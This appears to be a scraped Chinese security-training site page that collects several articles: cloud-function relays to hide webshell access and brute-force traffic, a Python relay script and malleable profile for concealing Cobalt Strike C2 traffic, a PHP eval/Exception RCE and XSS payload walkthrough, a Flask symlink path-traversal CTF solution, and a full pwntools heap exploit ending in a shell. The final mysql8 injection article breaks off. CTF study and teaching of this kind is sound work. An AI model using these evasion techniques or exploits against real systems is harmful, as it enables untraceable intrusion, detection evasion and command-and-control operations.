\r\n\r\n\r\n在触发器配置中选择API网关触发,然后点击创建,过一会会提示创建成功。\r\n\r\n\r\n\r\n利用\r\n\r\n我们可以通过蚁剑直接连接Webshell,URL请求地址填为api地址+webshell地址 https:\u002F\u002Fservice-dafetmeh-xxxx\u002Frelease\u002FWebshell_Bypass?u=http:\u002F\u002Fxxxx\u002Fwebshell.php \r\n\r\n\r\n\r\n然后vps端通过监控日志查看访问webshell的ip地址\r\n\r\n\r\n\r\n 通过access.log可以发现每次请求都是不同的ip地址并且都是来自上海地区的腾讯云(根据自己选择地区而改变) \r\n\r\n\r\n\r\n通过云函数的方法我们便可以隐藏连接Webshell的本机IP地址,从而防止溯源,如果使用可以蚁剑,为了达到更隐秘的目的,可以自行对Webshell流量进行加解密的操作来逃逸流量检测,流量检测+白名单IOC的方式可以完美的逃避检测。 \r\n\r\n注入\u002F目录爆破爆破防Ban\r\n\r\n云函数其实也可以作为一种变相的代理池供我们所用,利用云函数的多出口性来防止爆破或者SQL注入的时候被Ban\r\n\r\n云函数创建\r\n\r\n这里可以哈希安全团队公开的SCF-Proxy来实现,第一次看到Scf-Proxy的概念的应该是学蚁致用的作者,通过客户端监听获取请求并且组装API请求,服务端云函数解析且重组API请求,通过SCF-Proxy不光可以实现代理http请求,也可以代理https请求(类似Burp中间人监听的方式) 项目地址:https:\u002F\u002Fgithub.com\u002Fhashsecteam\u002Fscf-proxy \r\n\r\n下载下来然后利用Golang编译客户端和服务端,这里我把客户端编译成Win版本使用 还是选择自定义创建,但是这里要选择Go,而不是默认的python,并,执行方法改为server,且选择本地上传zip,将server.zip上传上去\r\n\r\n\r\n 触发管理中依然选择API网关管理,创建完成后来到触发管理获取API地址 \r\n\r\n\r\n利用\r\n\r\n首先客户端开启监听 .\u002Fclient.exe -port 10086 云函数api地址\r\n\r\n\r\n 此时再通过dirsearch设置http代理的方式爆破VPS的目录 \r\n\r\n\r\n\r\n查看access_log可以看到爆破的ip地址分布\r\n\r\n\r\n 由于此次选择的是广州地区,于是访问的ip基本都是来自广州 \r\n\r\n\r\n\r\n也可以代理访问https网站\r\n\r\n\r\n 由此可以实现爆破目录以及Sqlmap的爆破不被Ban\r\n\r\nC2隐藏\r\n\r\n通过云函数的特性,我们依然可以做到CS上线的隐藏,由于Cs支持HTTP\u002FHTTPS类型的Beacon,因此我们也可以通过云函数来转发HTTP\u002FHTTPS请求,该方法学习自狼组北美第一突破手师傅 \r\n\r\n云函数创建\r\n\r\n与第一种别无二样,依然选择API网关触发的方式,就是云函数服务端脚本修改为如下\r\n\r\n# -*- coding: utf8 -*-\r\nimport json,requests,base64\r\ndef main_handler(event, context):\r\n    C2='http:\u002F\u002F\u003CC2服务器地址\u003E' # 这里可以使用 HTTP、HTTPS~下角标~\r\n    path=event['path']\r\n    headers=event['headers']\r\n    print(event)\r\n    if event['httpMethod'] == 'GET' :\r\n        resp=requests.get(C2+path,headers=headers,verify=False) \r\n    else:\r\n        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)\r\n        print(resp.headers)\r\n        print(resp.content)\r\n    response={\r\n        \"isBase64Encoded\": True,\r\n        \"statusCode\": resp.status_code,\r\n        \"headers\": dict(resp.headers),\r\n        \"body\": str(base64.b64encode(resp.content))[2:-1]\r\n   }\r\n    return response\r\n\r\nCs可以定制Profile来更加隐匿流量这里使用如下的Profile\r\n\r\nset sample_name \"kris_abao\";\r\nset sleeptime \"3000\";\r\nset jitter   \"0\";\r\nset maxdns   \"255\";\r\nset useragent \"Mozilla\u002F5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\u002F5.0)\";\r\nhttp-get {\r\n   set uri \"\u002Fapi\u002Fgetit\";\r\n   client {\r\n       header \"Accept\" \"*\u002F*\";\r\n       metadata {\r\n           base64;\r\n           prepend \"SESSIONID=\";\r\n           header \"Cookie\";\r\n       }\r\n   }\r\n   server {\r\n       header \"Content-Type\" \"application\u002Focsp-response\";\r\n       header \"content-transfer-encoding\" \"binary\";\r\n       header \"Server\" \"Nodejs\";\r\n       output {\r\n           base64;\r\n           print;\r\n       }\r\n   }\r\n}\r\nhttp-stager {  \r\n   set uri_x86 \"\u002Fvue.min.js\";\r\n   set uri_x64 \"\u002Fbootstrap-2.min.js\";\r\n}\r\nhttp-post {\r\n   set uri \"\u002Fapi\u002Fpostit\";\r\n   client {\r\n       header \"Accept\" \"*\u002F*\";\r\n       id {\r\n           base64;\r\n           prepend \"JSESSION=\";\r\n           header \"Cookie\";\r\n       }\r\n       output {\r\n           base64;\r\n           print;\r\n       }\r\n   }\r\n   server {\r\n       header \"Content-Type\" \"application\u002Focsp-response\";\r\n       header \"content-transfer-encoding\" \"binary\";\r\n       header \"Connection\" \"keep-alive\";\r\n       output {\r\n           base64;\r\n           print;\r\n       }\r\n   }\r\n}\r\n \r\n\r\n创建完后放到将api.profile放到服务端Cs上可以通过c2lint检查一下profile,可以看到正常的定义http类型Beacon的get和post请求时的样子\r\n\r\n\r\n\r\n\r\n监听设置 生成木马,点击后上线 公网地址会不断的跳,因为这里呈现的是请求源的IP,也就是我们的云函数IP地址,基本都是腾讯的IDC机房中的IP 在该过程中遇到了一些问题,比如说Stager较大,导致请求超时,这时候可以修改代码加点演示设置即可。",pic:"\u002Fcloud-image\u002Fnews\u002F6fe6cbe3-e592-4541-be70-7c5c2301f1f6.jpg",openTime:"2021-10-26T15:11:44+08:00",viewsNum:39162},{id:"20211015142618",type:a,title:"连异常报错也能拿到flag?",abstract:"https:\u002F\u002Fwww.yijinglab.com\u002Fpages\u002FCTFLaboratory.jsp\r\n前言:\r\n\r\n本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。\r\n\r\n脸滚键盘打出来的函数也能执行?\r\n\r\n没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。\r\n\r\n比如,有如下PHP代码:\r\n\r\n\u003C?php\r\ntian(phpinfo());在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗?\r\n\r\n当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。\r\n\r\n\r\n\r\n那么有没有办法让PHP正常执行这个程序呢?\r\n\r\n有,那必须有,甚至只需要一行\r\n\r\n\u003C?php\r\nfunction tian(){}\r\ntian(phpinfo());新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。\r\n\r\n这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢?\r\n\r\n从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。\r\n\r\n举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作:\r\n\r\n举个最常见的函数:\r\n\r\n\u003C?php\r\n$sql = mysqli_connect(phpinfo(),\"root\",\"root\",\"mysql\");mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。\r\n\r\n\r\n至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢?\r\n\r\n为什么我的对象打印不出来?\r\n\r\n在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下:\r\n\r\n\u003C?php\r\nclass tian{\r\n    public $id = \"Lxxx\";\r\n    function getid()\r\n   {\r\n        return $this-\u003Eid;\r\n   }\r\n}\r\n \r\necho new tian();这个代码报错如下:\r\n\r\n\r\n这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。\r\n\r\n因此将上方程序进行修改,修改后的代码如下:\r\n\r\n\u003C?php\r\nclass tian{\r\n    public $id = \"Lxxx\";\r\n    function getid()\r\n   {\r\n        return $this-\u003Eid;\r\n   }\r\n    function __toString()\r\n   {\r\n        return $this-\u003Eid;\r\n   }\r\n}\r\n \r\necho new tian();这个时候,程序就可以正常执行了\r\n\r\n\r\n这个时候我们修改一下代码:\r\n\r\n\u003C?php\r\nclass tian{\r\n    public $id;\r\n    function __construct($id)\r\n   {\r\n        $this-\u003Eid = $id;\r\n   }\r\n    function __toString()\r\n   {\r\n        return $this-\u003Eid;\r\n   }\r\n}\r\necho new tian(phpinfo());这个时候,结合上面的内容,应该就能理解这一部分代码\r\n\r\n代码执行如下:\r\n\r\n\r\n程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo()\r\n\r\n那么将这两个特性结合起来有什么用呢?\r\n\r\n下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。\r\n\r\n表演一个异常报错实现RCE\r\n\r\n题目代码如下:\r\n\r\n\u003C?php\r\n\u002F\u002Fflag in flag.php\r\nhighlight_file(__FILE__);\r\nif ( isset($_GET['a']) && isset($_GET['b']))\r\n{\r\n    $a = $_GET['a'];\r\n    $b = $_GET['b'];\r\n    eval(\"echo new $a($b());\");\r\n}关键代码为:eval(\"echo new $a($b());\");\r\n\r\n首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类\r\n\r\n我们先测试一下,传payload:?a=mysqli&b=phpinfo\r\n\r\n\r\n这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。\r\n\r\n因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception。\r\n\r\n其中PHP官方手册对这个类的__toString()描述如下:\r\n\r\n\r\n这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢?\r\n\r\n\u003C?php\r\necho new Exception(system(\"whoami\")());\r\n\r\n\r\n那就先执行命令,然后将执行命令的结果作为参数传给Exception\r\n\r\n所以传payload:?a=exception&b=system(\"whoami\")\r\n\r\n\r\n这个即可RCE\r\n\r\n除此之外,Exception中__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。\r\n\r\n举个例子:\r\n\r\n\u003C?php\r\necho new Exception(\"$_GET[1]\");这个时候传:?1=\u003Cscript\u003Ealert(\"XSS\");\u003C\u002Fscript\u003E\r\n\r\n是可以XSS\r\n\r\n\r\n当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。",pic:"\u002Fcloud-image\u002Fnews\u002Fb4cfde57-3805-4a2d-bce4-29b18e93fd6d.png",openTime:"2021-10-15T14:26:40+08:00",viewsNum:1727}]},systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"98f9fd2d538950dd0768c6058283e111",isMobileDevice:false}}("specialized"))
对一道CTF题的详细分析
https://www.yijinglab.com/pages/CTFLaboratory.jsp0x01 前言 最近身边有萌新想打ctf,我作为一个曾经接触过一点点ctf的业余菜鸡,就索性做了一道Web题。这篇文章主要是面向想开始打ctf的萌新,所以很多地方可能都比较简单。如有错误之处,欢迎各位指正。 0x02 Flask 简介 Flask库是一个非常小型的Python Web开发框架。它有两个主要依赖:路由、调试和 Web 服务器网关接口(Web Server Gateway Interface,WSGI)子系统由 Werkzeug(http://werkzeug.pocoo.org/)提供;模板系统由 Jinja2(http://jinja.pocoo.org/)提供。Werkzeug 和 Jinjia2 都是由 Flask 的核心开发者开发而成。这里我们要重点了解一下路由。 Flask需要知道对每个 URL 请求该运行哪些代码,所以保存了一个 URL 到Python 函数之间的映射关系。处理 URL 和函数之间关系的程序称为路由。在 Flask 程序中定义路由的最简便方式,是使用程序实例提供的 app.route 修饰器,把修饰的函数注册为路由。下面的例子说明了如何使用这个修饰器声明路由: @app.route('/') def index(): return '<h1>Hello World!</h1>' 这个例子就是把 index() 函数注册为程序根地址的处理程序。如果部署程序的服务器域名为 www.example.com,在浏览器中访问 http://www.example.com 后,会触发服务器执行 index() 函数。这个函数的返回值称为响应,是客户端接收到的内容。如果客户端是 Web 浏览器,响应就是显示给用户查看的文档。 要启动服务器也很简单,程序实例用 run 方法启动 Flask 集成的开发 Web 服务器即可: if __name__ == '__main__':    app.run(debug=True) 其中,name=='main' 是 Python 的惯常用法,在这里确保直接执行这个脚本时才启动开发Web 服务器。服务器启动后,会进入轮询,等待并处理请求。轮询会一直运行,直到程序停止,比如按Ctrl-C 键。有一些选项参数可被 app.run() 函数接受用于设置 Web 服务器的操作模式。在开发过程中启用调试模式会带来一些便利,比如说激活调试器和重载程序。要想启用调试模式,我们可以把 debug 参数设为 True。要想让所有主机都可以访问,可以设置参数host="0.0.0.0"。 0x03 详细分析 赛题如下: 该Web题下载下来以后源码如下: import os import json from shutil import copyfile from flask import Flask,request,render_template,url_for,send_from_directory,make_response,redirect from werkzeug.middleware.proxy_fix import ProxyFix from flask import jsonify from hashlib import md5 import signal from http.server import HTTPServer, SimpleHTTPRequestHandler os.environ['TEMP']='/dev/shm' app = Flask("access") app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1 ,x_proto=1) @app.route('/',methods=['POST', 'GET']) def index():    if request.method == 'POST':        f=request.files['file']        os.system("rm -rf /dev/shm/zip/media/*")        path=os.path.join("/dev/shm/zip/media",'tmp.zip')        f.save(path)        os.system('timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/')        os.system('rm /dev/shm/zip/media/tmp.zip')        return redirect('/media/')    response = render_template('index.html')    return response @app.route('/media/',methods=['GET']) @app.route('/media',methods=['GET']) @app.route('/media/<path>',methods=['GET']) def media(path=""):    npath=os.path.join("/dev/shm/zip/media",path)    if not os.path.exists(npath):        return make_response("404",404)    if not os.path.isdir(npath):        f=open(npath,'rb')        response = make_response(f.read())        response.headers['Content-Type'] = 'application/octet-stream'        return response    else:        fn=os.listdir(npath)        fn=[".."]+fn        f=open("templates/template.html")        x=f.read()        f.close()        ret="<h1>文件列表:</h1><br><hr>"        for i in fn:            tpath=os.path.join('/media/',path,i)            ret+="<a href='"+tpath+"'>"+i+"</a><br>"        x=x.replace("HTMLTEXT",ret)        return x os.system('mkdir /dev/shm/zip') os.system('mkdir /dev/shm/zip/media') app.run(host="0.0.0.0",port=8080,debug=False,threaded=True) 接下来就开始详细介绍。 这是一个用来实现文件在线解压的网站,首先看首页对应的index函数,当访问网站首页时,可以采用GET和POST请求两种方式,对应的响应函数为index函数。题目里还有两个html文档,一个用来当上传文件时,一个用来渲染页面,这里就不贴出来了。当在首页通过html上传文档时,会执行index函数,会执行如下命令来删除文件: rm -rf /dev/shm/zip/media/* 然后拼接路径,并将上传的文件保存到这个路径:/dev/shm/zip/media/tmp.zip 之后执行命令解压: timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/ 解压后将压缩文件删除: rm /dev/shm/zip/media/tmp.zip 第二个函数是media函数,有三种url请求都由这个函数来响应,其中有一个需要特别关注的,就是 @app.route('/media/<path>',methods=['GET']) 这是动态路由,就是当请求的时候如果在media的后面再加上一个字符串,可以将这个字符串作为参数传递给path变量,执行media函数中的内容: def media(path=""):    npath=os.path.join("/dev/shm/zip/media",path)    if not os.path.exists(npath):        return make_response("404",404)    if not os.path.isdir(npath):        f=open(npath,'rb')        response = make_response(f.read())        response.headers['Content-Type'] = 'application/octet-stream'        return response    else:        fn=os.listdir(npath)        fn=[".."]+fn        f=open("templates/template.html")        x=f.read()        f.close()        ret="<h1>文件列表:</h1><br><hr>"        for i in fn:            tpath=os.path.join('/media/',path,i)            ret+="<a href='"+tpath+"'>"+i+"</a><br>"        x=x.replace("HTMLTEXT",ret)        return x 仔细观察可以看到,path作为参数会被拼接到npath变量中,然后当npath不存在时,返回404;当npath不是目录时,会使用open函数打开,并返回给请求者。题目中提到了flag位于根目录,而path我们又可以控制,那么我们只要能够通过一种方式,将npath变成/flag是不是就可以了呢?心里想,直接用相对路径../实现路径穿越不就妥了?这么简单的吗? 0x04 峰回路转 说干就干,我把path设置成../../../../flag,直接在浏览器请求http://example.com/media/../../../../flag 结果发现不对,浏览器直接把我这些../全去掉了?url变成了http://example.com/media/flag,whatfuck? 第一反应是浏览器的问题,那就换个浏览器,结果发现也不行,然后想了想,那就用burp suite吧,结果还是不行。 最后,我在自己电脑上运行这个代码,开始各种调试,最后发现把斜杠换成两个反斜杠就可以了,能够实现路径穿越,读取上一层的文件内容,可是换成题目中就是不行。我仔细想了想应该是因为我本地是windows,而服务器是Linux,所以才不行的。眼看着时间不早了该睡觉了,还是没搞出来,于是喝了一杯茶,想了想,最后灵机一动,还是没想出来怎么搞。算了,睡觉吧。 到了第二天早上,我觉得这个必须得搞定。于是,我想到了Linux中的软链接!突然一下子就明白该怎么搞了!于是,打开我尘封已久的kali虚拟机,然后慢慢悠悠的敲下了如下命令: 成功创建了一个指向/flag的软链接,但是这个软链接怎么利用呢?这个网站既然是用来在线解压的,那我就把软链接打成一个压缩包传上去,它直接就会被解压到当前目录。然后我直接点击该文件,直接就下载下来一个车文件,打开即可看到flag内容为: flag{NeV3r_trUSt_Any_C0mpresSeD_file} 最后终于搞定了,这一刻还是很开心的。作为一个业余ctf菜鸡选手,实在是不容易。还是要多做题,多开阔眼界,学习各种骚操作!
CTF中一道C++数据结构堆风水pwn的利用分享
分享一道CTF线下比赛中由c++编写的一道高质量赛题。 附件领取:关注【蚁景网安实验室】公众号,回复 赛题 即可领取 https://www.yijinglab.com/pages/CTFLaboratory.jsp 初步分析 程序运行起来看起来似乎是一道常规的菜单堆题: libc环境: 是Glibc 2.27-3ubuntu1.4,这个版本与2.31版本很像,都有key机制,一定程度上防止了double free的攻击。 回到程序,程序的功能有插入,展示和删除,我们具体用IDA打开来看看程序是个什么逻辑。 可以看到函数列表有非常多的函数(原题去除了符号表,笔者经过逆向重命名了一些函数符号),并且使用c++编写,逆向起来难度更大,如果采取常规的静态分析手段,可能会花费很大的精力,由于题目名字是cxx_and_tree,我们猜测整个程序是用树这种数据结构来存储信息,最经典的莫过于二叉树,我们可以来写个demo来测试程序,如果申请以下堆块,那么堆结构如下面的图:    add(0, 0x60, 'a')    add(4, 0x60, 'a')    add(2, 0x60, 'a')    add(9, 0x60, 'a')    add(3, 0x60, 'a')    add(7, 0x60, 'a') 其中0x40大小的为node部分数据,其余大小的为其data数据,将其画为二叉树长成如下样子 左右子树根据其index分如上图,并且通过观察每个node的节点可以确定程序是用二叉树来存储数据。 经过逐步调试和逆向加深对程序的理解后,笔者分析node结构体如下: struct node {  __int64 idx;  // 节点号  __int64 user_size; // 用户输入的size  __int64 *self_heap_buf; // 存储数据的buf  node *left; // 左孩子  node *right; // 右孩子  node *father; // 父节点 };具体的漏洞和代码逆向请看下文。 漏洞分析与逻辑触发点 漏洞位于当我们删除某个二叉树节点的时候,如果该节点有左右子树,会调用一个memcpy的函数,这个函数的对于节点size的处理是有问题的。 在申请节点的时候,其size的算法是这样的: 做了一个类似于align的操作,这个操作是很安全的,人为扩展了一下chunk,使得我们能够申请的最大的size和其align之后最小的size一样大,但是下面的删除节点的操作就有bug了: v2 = (unsigned __int64)tmp_target->user_size >> 3;写个poc来看下我们能溢出的字节数量 def poc():    for size in range(0x10, 0xff + 1):        biggerSize = ((size >> 3) + 1) * 8        smallerSize = (size >> 3) * 8        if biggerSize > smallerSize:            print("size:{}, biggerSize:{}, smallerSize:{}".format(hex(size), hex(biggerSize), hex(smallerSize))) poc() 注意到我们在触发这个逻辑的时候,有部分size是比biggerSize要小的,最多可以溢出7字节。 整个删除节点的逻辑如下: 想要到达漏洞点所在的位置,则该节点必须同时拥有左右孩子节点才可以。 分析下如果该节点同时拥有左右孩子节点,那么删除该节点的时候发生的流程大致如下: 首先是获得该节点中右子树中最小的元素(按idx确定大小,因为下面一直走的是左子树的逻辑) 然后将其要替换的节点传入到带有bug的函数中,在此函数中,程序重新申请了一块buf,然后复制要替换节点的数据到新的buf中,值得注意的是,并没有像我们传统的数据结构中一通乱改指针,而是采用了一个复制的思想,但是新创建的buf的size给少了,控制得当能够溢出七个字节。 然后再往下的逻辑就是删掉刚才的右子树中的最小节点,因为其数据已经拷贝到原本要删除的节点当中。 在这里我有个疑问,既然之前选到了右子树的最小的节点,那么为什么还要判断其是否还有左子树呢?上面的分支应该永远不会进入,或许是出题人为了增加逆向难度,又或者是出题人面向ctrl+CV编程。 然后进入一个删除节点的函数: unsigned __int64 __fastcall delete_leaf_node_or_right_children(struct node **father_node, struct node **to_delete_node, struct node **tmp_father_node) {  struct node *v3; // rbx  struct node *v4; // rbx  struct node *v5; // rbx  struct node *v6; // rbx  unsigned __int64 v8; // [rsp+28h] [rbp-18h]  v8 = __readfsqword(0x28u);  if ( *to_delete_node == *father_node )        // only root node {    if ( *((_DWORD *)father_node + 4) == 1 )    // only a node   {      v3 = *to_delete_node;      if ( *to_delete_node )     {        deleteNode0((__int64)*to_delete_node);        operator delete(v3);     }      *father_node = 0LL;      --*((_DWORD *)father_node + 4);      *to_delete_node = 0LL;   }    else                                        // has right children   {      *father_node = (*father_node)->right;     (*father_node)->father = 0LL;             // because of the "to_delete_node == father_node", the children will be the root node      v4 = *to_delete_node;      if ( *to_delete_node )     {        deleteNode0((__int64)*to_delete_node);        operator delete(v4);     }      *to_delete_node = 0LL;   } }  else if ( *to_delete_node == (*tmp_father_node)->left )// if the node to delete is in the left of its father node: {   (*tmp_father_node)->left = (*to_delete_node)->right;// change parent ptr and children ptr    if ( (*to_delete_node)->right )     (*to_delete_node)->right->father = *tmp_father_node;    v5 = *to_delete_node;    if ( *to_delete_node )   {      deleteNode0((__int64)*to_delete_node);      operator delete(v5);   }    *to_delete_node = 0LL; }  else                                          // if the node to delete is in the right of its father node: {   (*tmp_father_node)->right = (*to_delete_node)->right;    if ( (*to_delete_node)->right )     (*to_delete_node)->right->father = *tmp_father_node;    v6 = *to_delete_node;    if ( *to_delete_node )   {      deleteNode0((__int64)*to_delete_node);      operator delete(v6);   }    *to_delete_node = 0LL; }  return __readfsqword(0x28u) ^ v8; }分为两种情况删除,一是叶子节点,另外就是还有一个右孩子节点,删除的方法很普通,就是普通数据结构中学的删除方法一样。 漏洞利用 完整exp如下: from pwn import * import sys arch =  64 challenge = "./pwn1" libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6" libc_path_remote = "" local = int(sys.argv[1]) elf = ELF(challenge)                                                                               context.os = 'linux' context.terminal = ['tmux', 'splitw', '-hp', '65'] if local:    if libc_path_local:        io = process(challenge,env = {"LD_PRELOAD":libc_path_local})        # io = gdb.debug(challenge, 'b *$rebase(0x279f)')        libc = ELF(libc_path_local)    else:        io = process(challenge) else:    io = remote("node4.buuoj.cn", 25965)    if libc_path_remote:        libc = ELF(libc_path_remote) if arch == 64:    context.arch = 'amd64' elif arch == 32:    context.arch = 'i386' def dbg():    context.log_level = 'debug' def echo(content):    print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m") p   = lambda     : pause() s   = lambda x   : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x   : io.recvuntil(x) rl = lambda     : io.recvline() sd = lambda x   : io.send(x) sl = lambda x   : io.sendline(x) ia = lambda     : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x   : u32(x.ljust(4,b'\x00')) uu64 = lambda x   : u64(x.ljust(8,b'\x00')) bps = [] pie = 0 def gdba():    if local == 0:        return 0    cmd ='b *$rebase(0x1ee2)\n'    if pie:        base = int(os.popen("pmap {}|awk '{{print ./pwn1}}'".format(io.pid)).readlines()[1],16)        cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])        cmd +='set base={:#x}\n'.format(base)    else:        cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])    gdb.attach(io,cmd) _add,_free,_show = 2,3,1 menu = "3.remove_information" def add(idx, size, content):    sla(menu, str(_add))    sla("idx:", str(idx))    sla('size:', str(size))    sa("content:", content)    # ru('addr=')    # return int(io.recv(5), base=16) def free(idx):    sla(menu, str(_free))    sla("idx:", str(idx)) def show():    sla(menu, str(_show)) def exp():    for i in range(8):        add(i, 0xd0, 'a')    for i in range(7):        free(i)    add(8, 0x20, 'a')    show()    leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']    libc_base = leak    echo('libc base:' + hex(libc_base))    free(7)    free(8)    add(7, 0xdf, 'z' * 0xdf)    add(4, 0xd0, 'a')    add(2, 0xd0, 'a')    add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)    add(10, 0xdf, 'c' * 0xdf)    add(15, 0xdf, 'd' * 0xdf)    add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))    # The last one chunks are buF areas of Number 3    # The last two chunks are buF areas of Number b    free(11) # 5c0 will corrupt    __free_hook = libc_base + libc.sym['__free_hook']    system = libc_base + libc.sym['system']    free(4)    add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))        add(0, 0x2f, 'a')    add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))    free(2)    free(0)    free(4)    free(15)    free(10)    free(13)    # Get the second chunk of 0x30    add(13, 0xd0, 'a')    add(10, 0x2f, 'a')    add(15, 0x2f, 'a')    add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))    free(13)    free(10)    free(15)    add(10, 0xd0, '/bin/sh\x00')    add(8, 0x2f, '/bin/sh\x00')    add(13, 0x2f, '/bin/sh\x00')    add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))    free(10)    free(8) exp() ia()漏洞其实并不太好利用,分析原因如下:insert节点的时候会额外申请别的堆块出来,整体的堆布局我们其实并不太好控制,所以漏洞利用的时候会有时不可控,我们需要反复的调试,现给出exp的书写思路。 泄露libc基址    for i in range(8):        add(i, 0xd0, 'a')    for i in range(7):        free(i)    add(8, 0x20, 'a')    show()    leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']    libc_base = leak    echo('libc base:' + hex(libc_base))    free(7)    free(8)在2.27下,只要循环填满tcache即可很容易的泄露出libc 布置二叉树    add(7, 0xdf, 'z' * 0xdf)    add(4, 0xd0, 'a')    add(2, 0xd0, 'a')    add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)    add(10, 0xdf, 'c' * 0xdf)    add(15, 0xdf, 'd' * 0xdf)    add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))可以看到,我们在输入content的时候会输入一些很奇怪的值,这个时候的值我们是无法确定的,必须结合后文来慢慢调试。 初始状态如图所示,这个时候我们去free11,将会到达漏洞所在逻辑的位置处,让程序触发漏洞。 此时堆空间的布局如图所示 可以看到这个时候其实已经利用了漏洞改写了下一个堆块的size位,形成了overlap 下面是关键操作,劫持tcache数组的0x30大小的chunk的fd为hook    free(4)    add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))此时的bins情况: 此时的二叉树为: 因为现在已经将freehook链入到tcache里面,下面我们的工作主要就是围绕怎么将其申请出来而努力,首先直接申请是肯定不行的,我也没有深究,因为申请的时候会首先申请两个chunk出来,然后将其free掉,然后再做一系列的memcpy操作,在这一系列的过程中,无法保证中间chunk的合法性能够绕过检查,所以我们还是利用漏洞点申请不同size的chunk的这一特性努力,我们可以逐个布置满足要求的二叉树节点,然后利用漏洞来申请出来这个chunk。 第一轮申请    add(0, 0x2f, 'a')    add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))    free(2)布置完如下node,二叉树为: 堆布局为: 可以看到还有两个node就可以申请到freehook。    free(0)    free(4)    free(15)    free(10)    free(13)清除一些无关的node,为我们布置节点做好铺垫。 第二轮申请    add(13, 0xd0, 'a')    add(10, 0x2f, 'a')    add(15, 0x2f, 'a')    add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))    free(13)此时二叉树为: 堆布局为: 清除一些节点来重新布置    free(10)    free(15) 第三轮申请并getshell 故技重施,最终可以申请到hook所在空间并getshell    add(10, 0xd0, '/bin/sh\x00')    add(8, 0x2f, '/bin/sh\x00')    add(13, 0x2f, '/bin/sh\x00')    add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))    free(10)    free(8) # getshell 本文到这里就结束了,如果有疑问或者任何不当之处欢迎联系笔者进行技术交流:mailto:lemonujn@gmail.com
mysql8.0.2新特性注入由浅到深
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前言 最近打比赛的时候遇到了mysql8的知识点,这里就从环境搭建开始到注入一起一步步慢慢学习。 环境搭建 我这里是用docker在服务器上拉的,然后用navicat来看的 下载 docker pull mysql:8.0.21 docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21 进入mysql容器,并登陆mysql docker exec -it mysql8 bash mysql -uroot -p //然后输入密码开启远程访问权限 use mysql; select host,user from user; ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456'; flush privileges; 连进去看看版本号就可以了,如果是8.0.21则环境搭建完成 基本知识 本次测试所用到的user表内容如下 table 基本用法 在MYSQL8以后出现的新语法,作用和select类似。 作用:列出表中全部内容 语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] 支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。 table user order by 2 table user limit 2与SELECT的区别: 1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句 注意事项 比较问题1 (table 